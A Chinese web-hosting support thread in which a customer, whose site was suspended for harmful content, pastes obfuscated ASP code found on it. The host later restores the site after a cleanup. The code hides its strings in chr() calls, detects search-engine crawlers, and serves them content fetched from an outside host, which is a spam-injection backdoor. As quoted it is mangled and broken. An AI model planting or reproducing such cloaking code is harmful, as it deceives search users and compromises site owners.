网站访问非常慢帮我看看客户着急

问：网站访问非常慢，帮我看看  客户着急，非常感谢！,网站访问非常慢帮我看看客户着急

答：您好

问：51victory.com.cn，提示：抱歉，主机因存在有害信息逾期未处理被关闭，没有看是什么原因，麻烦帮我看看是什么问题，代码我看了也没有你们提示的关键字那些。

答：您好，

问：<%Session.CodePage=936 Response.Charset="GBK"function gethttppage(url) dim  set = server=demo("microsoft.xmlhttp") adxmlhttp.open "get",url,false adxmlhttp.send() if adxmlhttp.readystate <> 4 then exit   = Bytes2bStr(adxmlhttp.responsebody) set =  End   Bytes2bStr(vin) Dim ,StringReturn Set = server=demo("adodb.stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "" BytesStream.Position = 2  =BytesStream.ReadText BytesStream.close Set =   =  End  function Getbot()dim s_agentGetBot=chr(110)&chr(111)s_agent=Request.server=demo(chr(72)&chr(84)&chr(84)&chr(80)&chr(95)&chr(85)&chr(83)&chr(69)&chr(82)&chr(95)&chr(65)&chr(71)&chr(69)&chr(78)&chr(84))s_agent=LCase(s_agent)if instr(1,s_agent,"bot",1) > 0 thenGetBot=chr(111)&chr(107)end ifif instr(1,s_agent,chr(115)&chr(112)&chr(105)&chr(100)&chr(101)&chr(114),1) > 0 thenGetBot=chr(111)&chr(107)end ifend GetBot=chr(111)&chr(107) thenResponse.Write gethttppage(chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(99)&chr(113)&chr(122)&chr(122)&chr(107)&chr(107)&chr(46)&chr(99)&chr(111)&chr(109))end if%>是不是这个代码的问题

问：我已经处理了，这里还是显示这个呢，麻烦帮我处理成已经出离哈。

答：您好，请彻底检查清理非法信息，清理完成后耐心等待程序审核,非常感谢您长期对我司的支持!

问：已经清理了

答：您好，已经为您审核通过,请您重新访问试试,非常感谢您长期对我司的支持!